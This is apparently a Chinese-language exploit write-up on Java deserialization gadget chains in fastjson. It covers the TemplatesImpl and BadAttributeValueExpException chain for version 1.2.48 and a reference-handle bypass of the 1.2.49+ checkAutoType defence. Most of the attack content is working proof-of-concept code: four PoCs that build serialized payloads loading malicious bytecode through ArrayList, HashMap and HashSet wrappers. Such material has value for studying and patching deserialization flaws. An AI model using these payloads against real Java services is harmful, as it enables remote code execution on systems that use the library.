fastjson 1.2.48 版本和依赖 jdk:1.8.0_66
maven:
1 2 3 4 5 6 7 8 9 10 11 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.19.0-GA</version > </dependency > <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.48</version > </dependency >
通过之前的TemplatesImpl链分析我们知道他的getOutputProperties()会出发恶意字节码加载,在fastjson中的toString方法会自动调用toJsonString方法,因为是toString所以肯定会涉及到对象中的属性提取,从而出发getter()方法导致恶意类加载。
又因为BadAttributeValueExpException类的readObject能触发任意对象的toString方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
我们可以通过反射的方式修改val的值从而出发jsonArray的toString方法
poc1 1 2 3 4 5 6 7 8 9 10 11 12 TemplatesImpl obj=new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{bytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); JSONArray jsonArray=new JSONArray (); jsonArray.add(obj); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException (null ); Field field=badAttributeValueExpException.getClass().getDeclaredField("val" ); field.setAccessible(true ); field.set(badAttributeValueExpException, jsonArray); String ser=serialize(badAttributeValueExpException); unserialize(ser);
fastjson 1.2.49 从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法,在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查
为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 byte tc; while ((tc = bin.peekByte()) == TC_RESET) { bin.readByte(); handleReset(); } depth++; try { switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: IOException ex = readFatalException(); throw new WriteAbortedException ("writing aborted" , ex); case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true ); bin.peek(); throw new OptionalDataException ( bin.currentBlockRemaining()); } else { throw new StreamCorruptedException ( "unexpected block data" ); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException (true ); } else { throw new StreamCorruptedException ( "unexpected end of block data" ); } default : throw new StreamCorruptedException ( String.format("invalid type code: %02X" , tc)); } } finally { depth--; bin.setBlockDataMode(oldMode); } }
当为引用类型时不会触发
如何成为引用类型? 那么如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型 从而绕过resolveClass的检查?
答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,两个相同的对象在同一个反序列化的过程中只会被反序列化一次。那么我们可以在序列化的时候注入两个相同的 TemplatesImpl 对象,第二个 TemplatesImpl 对象被封装到 JSONArray 中。那么在反序列化我们的 payload 时,如果先用正常的 ObjectInputStream 反序列化了第一个 TemplatesImpl 对象,那么在第二次在 JSONArray.readObject() 中,就不会再用 SecureObjectInputStream 来反序列化这个相同的 TemplatesImpl 对象了,就会绕过checkAutoType()的检查!
poc1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 byte [] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();Templates templates = (Templates) getTemplates(bytes);JSONArray jsonArray = new JSONArray (); jsonArray.add(templates);BadAttributeValueExpException exception = new BadAttributeValueExpException (null ); setValue(exception, "val" , jsonArray); ArrayList<Object> arrayList = new ArrayList <>(); arrayList.add(templates); arrayList.add(exception);String ser = serialize(arrayList); unserialize(ser);
poc2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 byte [] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();Templates templates = (Templates) getTemplates(bytes);JSONArray jsonArray = new JSONArray (); jsonArray.add(templates);BadAttributeValueExpException exception = new BadAttributeValueExpException (null ); setValue(exception, "val" , jsonArray);HashMap map = new HashMap (); map.put(templates, exception);String ser = serialize(map); unserialize(ser);
poc3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 byte [] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();Templates templates = (Templates) getTemplates(bytes);JSONArray jsonArray = new JSONArray (); jsonArray.add(templates);BadAttributeValueExpException exception = new BadAttributeValueExpException (null ); setValue(exception, "val" , jsonArray);Set set = new HashSet (); set.add(templates); set.add(exception);String ser = serialize(set); unserialize(ser);